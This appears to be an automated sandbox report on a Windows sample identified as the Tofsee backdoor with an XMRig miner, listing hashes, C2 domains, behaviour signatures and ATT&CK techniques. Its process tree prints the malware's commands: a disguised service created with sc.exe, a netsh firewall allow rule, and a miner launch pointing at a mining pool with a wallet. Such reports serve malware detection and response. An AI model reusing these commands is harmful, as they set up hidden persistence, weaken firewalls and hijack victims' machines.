Overview

overview

10

Static

static

ecb302e999...9f.exe

windows7-x64

10

ecb302e999...9f.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    24-09-2022 20:02

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General

  • Target

    ecb302e999e0959abd9bdd330401ea9f.exe

  • Size

    196KB

  • MD5

    ecb302e999e0959abd9bdd330401ea9f

  • SHA1

    529e9342005a6295d865fa4d1188126229b2a0bd

  • SHA256

    eb6bda9737c6ace5c9f38b44dba312f18fe0bf044b4848817c17b4e1a74d90b9

  • SHA512

    1f084be926b1fe6f68bc0637e762c4d407a6f8b8d8a90b3f9157120beca96409d0cba495675f9fe1490f4c61840c96762d364ecb2dd27ac2376a4e526c38639f

  • SSDEEP

    3072:D1nI7LRgcLJA5gRrHSq6yz7F52jPaiPGONFHNRJtBc94al+/PkkXx:SLtLR5/hnSjSi+ONFtRKBl

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ecb302e999e0959abd9bdd330401ea9f.exe
    "C:\Users\Admin\AppData\Local\Temp\ecb302e999e0959abd9bdd330401ea9f.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fvbvizie\
      2⤵
        PID:1084
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\racusxij.exe" C:\Windows\SysWOW64\fvbvizie\
        2⤵
          PID:1736
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fvbvizie binPath= "C:\Windows\SysWOW64\fvbvizie\racusxij.exe /d\"C:\Users\Admin\AppData\Local\Temp\ecb302e999e0959abd9bdd330401ea9f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1060
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fvbvizie "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2000
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fvbvizie
          2⤵
          • Launches sc.exe
          PID:576
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1412
      • C:\Windows\SysWOW64\fvbvizie\racusxij.exe
        C:\Windows\SysWOW64\fvbvizie\racusxij.exe /d"C:\Users\Admin\AppData\Local\Temp\ecb302e999e0959abd9bdd330401ea9f.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1692
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1156
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1900

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Initial Access

      Execution

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Credential Access

      Discovery

      System Information Discovery

      1
      T1082

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\racusxij.exe
        Filesize

        11.7MB

        MD5

        18c433eb5e477a63ac4911acb6eaaa5c

        SHA1

        bd411d27c0df203db6fee4d022e696b3f9a146c6

        SHA256

        7d6789eafe125691cd69258dee35b40659cf97e607671f23fb7d0926de1094e6

        SHA512

        4d1023b3129369cdb059294092c12551655b54778d7f49758c489775b89e1d8481451952f5582fbfd36f32a820fd4ee5ce3861e5f84ee408ac407024bfbabc34

        Download Submit
      • C:\Windows\SysWOW64\fvbvizie\racusxij.exe
        Filesize

        11.7MB

        MD5

        18c433eb5e477a63ac4911acb6eaaa5c

        SHA1

        bd411d27c0df203db6fee4d022e696b3f9a146c6

        SHA256

        7d6789eafe125691cd69258dee35b40659cf97e607671f23fb7d0926de1094e6

        SHA512

        4d1023b3129369cdb059294092c12551655b54778d7f49758c489775b89e1d8481451952f5582fbfd36f32a820fd4ee5ce3861e5f84ee408ac407024bfbabc34

        Download Submit
      • memory/576-64-0x0000000000000000-mapping.dmp
        Download
      • memory/1060-62-0x0000000000000000-mapping.dmp
        Download
      • memory/1084-56-0x0000000000000000-mapping.dmp
        Download
      • memory/1156-86-0x0000000000130000-0x0000000000140000-memory.dmp
        Filesize

        64KB

        Download
      • memory/1156-79-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

        Download
      • memory/1156-98-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

        Download
      • memory/1156-95-0x00000000003E0000-0x00000000003E7000-memory.dmp
        Filesize

        28KB

        Download
      • memory/1156-92-0x00000000058E0000-0x0000000005CEB000-memory.dmp
        Filesize

        4.0MB

        Download
      • memory/1156-89-0x00000000002D0000-0x00000000002D5000-memory.dmp
        Filesize

        20KB

        Download
      • memory/1156-67-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

        Download
      • memory/1156-69-0x00000000000C0000-0x00000000000D5000-memory.dmp
        Filesize

        84KB

        Download
      • memory/1156-70-0x00000000000C9A6B-mapping.dmp
        Download
      • memory/1156-83-0x0000000000120000-0x0000000000126000-memory.dmp
        Filesize

        24KB

        Download
      • memory/1156-80-0x00000000019E0000-0x0000000001BEF000-memory.dmp
        Filesize

        2.1MB

        Download
      • memory/1412-76-0x0000000000000000-mapping.dmp
        Download
      • memory/1684-77-0x0000000000400000-0x000000000058B000-memory.dmp
        Filesize

        1.5MB

        Download
      • memory/1684-55-0x0000000076401000-0x0000000076403000-memory.dmp
        Filesize

        8KB

        Download
      • memory/1684-57-0x0000000000230000-0x0000000000330000-memory.dmp
        Filesize

        1024KB

        Download
      • memory/1684-58-0x00000000003A0000-0x00000000003B3000-memory.dmp
        Filesize

        76KB

        Download
      • memory/1684-59-0x0000000000400000-0x000000000058B000-memory.dmp
        Filesize

        1.5MB

        Download
      • memory/1692-75-0x0000000000400000-0x000000000058B000-memory.dmp
        Filesize

        1.5MB

        Download
      • memory/1692-72-0x00000000009EB000-0x00000000009FC000-memory.dmp
        Filesize

        68KB

        Download
      • memory/1736-60-0x0000000000000000-mapping.dmp
        Download
      • memory/1900-99-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

        Download
      • memory/1900-101-0x00000000000C0000-0x00000000001B1000-memory.dmp
        Filesize

        964KB

        Download
      • memory/1900-106-0x000000000015259C-mapping.dmp
        Download
      • memory/2000-63-0x0000000000000000-mapping.dmp
        Download